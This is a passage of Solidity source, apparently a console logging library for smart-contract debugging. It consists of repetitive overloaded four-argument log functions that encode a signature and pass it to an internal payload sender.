view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { 